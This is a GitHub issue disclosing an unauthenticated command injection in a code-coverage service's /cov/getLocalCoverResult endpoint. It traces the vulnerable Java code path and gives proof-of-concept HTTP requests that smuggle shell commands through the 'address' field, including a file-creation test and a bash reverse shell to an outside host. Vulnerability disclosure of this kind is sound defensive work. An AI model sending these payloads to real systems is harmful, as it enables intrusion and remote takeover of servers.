-
Notifications
You must be signed in to change notification settings - Fork 240
Open
Description
When accessing the getLocalCoverResult Interface with special request, unauthorized attackers can execute any command on the target system.
Code Analyzing
- The function getEnvLocalCoverResult in file CodeCovController.java handles the request for getLocalCoverResult. And it calls codeCovService.getLocalCoverResult.
/**
* 手动获取env增量代码覆盖率,代码部署和覆盖率服务在同一机器上,可直接读取本机源码和本机class文件
*
* @return
*/
@RequestMapping(value = "/getLocalCoverResult", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_UTF8_VALUE)
@ResponseBody
public HttpResult<CoverResult> getEnvLocalCoverResult(@RequestBody @Valid LocalHostRequestParam localHostRequestParam) {
return HttpResult.success(codeCovService.getLocalCoverResult(localHostRequestParam));
}
- The function getLocalCoverResult in file CodeCovServiceImpl.java calls the pullExecFile function.
@Override
public CoverResult getLocalCoverResult(LocalHostRequestParam localHostRequestParam) {
//path 处理
localHostRequestParam.setBasePath(localHostRequestParam.getBasePath().endsWith("/") ? localHostRequestParam.getBasePath() : (localHostRequestParam.getBasePath() + "/"));
localHostRequestParam.setNowPath(localHostRequestParam.getNowPath().endsWith("/") ? localHostRequestParam.getNowPath() : (localHostRequestParam.getNowPath() + "/"));
//1、计算增量代码
String diffFiles = diffMethodsCalculator.executeDiffMethodsForEnv(localHostRequestParam.getBasePath(), localHostRequestParam.getNowPath(), localHostRequestParam.getBaseVersion(), localHostRequestParam.getNowVersion());
CoverResult result = new CoverResult();
if (diffFiles == null) {
result.setCoverStatus(-1);
result.setLineCoverage(-1);
result.setBranchCoverage(-1);
result.setErrMsg("未检测到增量代码");
return result;
}
//2、拉取jacoco.exec文件并解析
if (StringUtils.isEmpty(localHostRequestParam.getAddress())) {
localHostRequestParam.setAddress("127.0.0.1");
}
CoverResult coverResult = pullExecFile(localHostRequestParam, diffFiles, localHostRequestParam.getSubModule());
//3、tomcat整合
//todo
return coverResult;
}
- In the function pullExecFile, it has command combinations with paramters
localHostRequestParam.getNowPath()、localHostRequestParam.getAddress()、localHostRequestParam.getPort().

Proof of Concept
Attacker can inject command in the parameter address. The request with file creation and results are as following.
The following conditions should be satisfied:
- the parameter basePath and nowPath need to be the local paths where the Git repository is stored.
- the parameter baseVersion and nowVersion need to be two version numbers from the repository, with new Java files added between these versions.
With above conditions satisfied, although the response message may return an error saying 'Failed to pull the executable file,' the command still executes successfully.
POST /cov/getLocalCoverResult HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 402
{
"address":"127.0.0.1 || touch /tmp/superjacoco000456789 ||",
"port":8899,
"subModule":"/etc/passwd",
"classFilePath":"127.0.0.1",
"basePath":"/tmp/gitlab_workdir1/",
"nowPath":"/tmp/gitlab_workdir2/",
"uuid":"123",
"gitUrl":"127.0.0.1",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}
The payload with reverse shell and execution results are as following.
POST /cov/getLocalCoverResult HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 414
{
"address":"127.0.0.1 || bash -i >& /dev/tcp/x.x.x.x/9333 0>&1 ||",
"port":8899,
"subModule":"/etc/passwd",
"classFilePath":"127.0.0.1",
"basePath":"/tmp/gitlab_workdir1/",
"nowPath":"/tmp/gitlab_workdir2/",
"uuid":"123",
"gitUrl":"127.0.0.1",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels



